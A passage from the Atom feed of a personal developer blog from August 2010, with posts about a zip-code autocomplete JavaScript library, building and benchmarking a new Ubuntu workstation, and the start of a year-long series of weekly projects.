href=&quot;http://50proj-public.s3.amazonaws.com/zipcode/parsezip_ext.pl&quot;&gt;Simple Perl script to do quick regexes on the input&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;While that job was running I wrote another script to convert the output to JSON files. Then followed that by using jQuery to query the JSON files and treat the data like an autocomplete mechanism. I'll be finishing that up today hopefully. But I haven't touched javascript since early 2000 and jQuery is completely foreign to me. It's nice to see that these new APIs are available though. It's going to make the implementation phase smoother.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Intelligent Address Entry - Monday</title>
   <link href="https://blog.50projects.com/2010/08/intelligent-address-entry-monday.html"/>
   <updated>2010-08-09T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/intelligent-address-entry-monday</id>
   <content type="html">&lt;div class='post'&gt;
Project Summary: This week I'll be creating a JavaScript library to assist web clients with filling in city and state data during address entry via their zip code. Additional features will include global address storage and a few other features. This project should be small and allow me to get up to speed with the short 1-week development and release cycles.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Obtain Zip-Code City Data&lt;/li&gt;&lt;li&gt;Zip-Code -&amp;gt; City call&lt;/li&gt;&lt;li&gt;Address Recall from Cookie&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://developer.yahoo.com/yui/compressor/&quot;&gt;Minification&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Hosting via &lt;a href=&quot;http://aws.amazon.com/cloudfront/&quot;&gt;Amazon CDN&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Monetization Features&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Restrict running host to hostname specified in JS&lt;/li&gt;&lt;li&gt;Pay wall and code generator for custom JS&lt;/li&gt;&lt;/ul&gt;-or-&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Licensing page for simple $50 commercial license&lt;/li&gt;&lt;li&gt;Google Alerts to find javascript in use commercially&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Error Handling and Edge Cases&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Invalid Zip Codes and addresses&lt;/li&gt;&lt;li&gt;International&lt;/li&gt;&lt;li&gt;APO Boxes and special addresses&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Extra stuff&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Zip Code Boundary file generated from &lt;a href=&quot;http://www.census.gov/geo/ZCTA/zcta.html&quot;&gt;Census data&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Project Zero - Friday</title>
   <link href="https://blog.50projects.com/2010/08/project-zero-friday.html"/>
   <updated>2010-08-06T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/project-zero-friday</id>
   <content type="html">&lt;div class='post'&gt;
Yesterday was spent hefting boxes and constructing bookcases. I'll be glad when we wrap up the unpacking and furniture purchases sometime next week.&lt;br /&gt;&lt;br /&gt;Today I've been putting the finishing touches on the blog and associated pages. I've decided to go with something simple for now, mostly because I've realized that I lack an eye for design and layout. Among other things, I'm hopeful 50 projects will force me to get better at skills I've never taken the time to develop. Design, layout and art of any kind have been things I've shied away from for a long time. Hopefully I'll get a chance to exercise some of those long forgotten muscles. &lt;br /&gt;&lt;br /&gt;That being said &lt;span style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;Times New Roman &lt;/span&gt;and &lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Courier&lt;/span&gt; are perfectly readable fonts and should be used more often. But I'm a sucker for &lt;span style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;Serifs&lt;/span&gt;.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Project Zero - Wednesday</title>
   <link href="https://blog.50projects.com/2010/08/project-zero-wednesday.html"/>
   <updated>2010-08-04T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/project-zero-wednesday</id>
   <content type="html">&lt;div class='post'&gt;
Unwilling to leave well enough alone, I ditched the single disk ubuntu  install and decided to pull out the big guns: a 6 disk raid 10 install.  See the benchmarks below. Not bad for 6 year old SATA drives!  Unfortunately the temperatures they're running at (53C) have me a little  worried. I'll likely migrate them to some HDD enclosures I have laying  around.&lt;br /&gt;&lt;br /&gt;&lt;table cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TF-TPsRJJKI/AAAAAAAAAAM/CPROGEN_kco/s1600/750+GB+RAID-10+Array+%28750+GB+RAID-10+Array%29+%E2%80%93+Benchmark_001.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;130&quot; src=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TF-TPsRJJKI/AAAAAAAAAAM/CPROGEN_kco/s200/750+GB+RAID-10+Array+%28750+GB+RAID-10+Array%29+%E2%80%93+Benchmark_001.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_nR-AKoVjo_4/TF-UO1Ftf4I/AAAAAAAAAAU/TDu3RUvc7RM/s1600/250+GB+Hard+Disk+%28ATA+HDS722525VLSA80%29+%E2%80%93+Benchmark_003.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;131&quot; src=&quot;http://2.bp.blogspot.com/_nR-AKoVjo_4/TF-UO1Ftf4I/AAAAAAAAAAU/TDu3RUvc7RM/s200/250+GB+Hard+Disk+%28ATA+HDS722525VLSA80%29+%E2%80%93+Benchmark_003.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;6-drive Raid 10&lt;/td&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Single Drive&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Project Zero - Tuesday</title>
   <link href="https://blog.50projects.com/2010/08/project-zero-tuesday.html"/>
   <updated>2010-08-03T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/project-zero-tuesday</id>
   <content type="html">&lt;div class='post'&gt;
Looks like the PSU &lt;a href=&quot;http://newegg.com/&quot;&gt;Newegg.com&lt;/a&gt; shipped out to me was faulty. It would partially power the machine but the EATX12V 4-pin port wasn't receiving any power. I plugged in my 240W PSU from my media center machine and managed to post late Monday night. I followed that up by dancing a short victory jig, then promptly fell asleep.&lt;br /&gt;&lt;br /&gt;This morning I found a hole-in-the-wall PC repair place. Broken computers filled the shelves behind the counter. The owner sold me a dubious looking 400W PSU (likely used) for $35. Thankfully it was sufficient and the machine posts with its own PSU now. I'll need to consider purchasing a higher end PSU.&lt;br /&gt;&lt;br /&gt;Ubuntu was a breeze to install to a single disk, and now I'm up and running with dual monitors. I'll be spending most of the afternoon writing copy and getting some blog posts prepped.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Project Zero - Monday</title>
   <link href="https://blog.50projects.com/2010/08/project-zero-monday.html"/>
   <updated>2010-08-02T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/project-zero-monday</id>
   <content type="html">&lt;div class='post'&gt;
Project Summary: This is an initial project to set up the infrastructure necessary for me to be successful and stay focused over the coming year. Not a traditional project so much as a pre-project: hence the name Project Zero.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Purchase and construct a desk and chair&lt;/li&gt;&lt;li&gt;Purchase and construct a new workstation&lt;/li&gt;&lt;li&gt;Setup 50projects.com domain, sub domains, blog and site&lt;/li&gt;&lt;li&gt;Design a logo&lt;/li&gt;&lt;li&gt;Research business cards and order if prudent&lt;/li&gt;&lt;li&gt;Write base copy for 50 projects&lt;/li&gt;&lt;li&gt;Spam network with links to the blog to get the word out&lt;/li&gt;&lt;/ul&gt;Desk and Chair constructed yesterday. I managed to find a desk that was sturdy and suitably 'nice' at IKEA that didn't break the bank. The chair is mighty comfy as well. Workstation components came in this afternoon, so I'll be spending this evening working on that.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Introduction</title>
   <link href="https://blog.50projects.com/2010/08/introduction.html"/>
   <updated>2010-08-01T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/introduction</id>
   <content type="html">&lt;div class='post'&gt;
Welcome to the 50 projects Blog. For those curious, check out the &lt;a href=&quot;http://blog.50projects.com/p/about-phil.html&quot;&gt;about page&lt;/a&gt; for the full details on what's going on. In short, every week I'll be starting a new project that will focus on something new and will use a wide array of different languages and technologies. I'll be working on an idea from initial research and development all the way to release and marketing. Every Monday morning I'll move on to a new idea.&lt;br /&gt;&lt;br /&gt;It's going to be an exciting year. I hope you folks enjoy following my progress, and hopefully you'll get some use out of these projects.&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 
</feed>
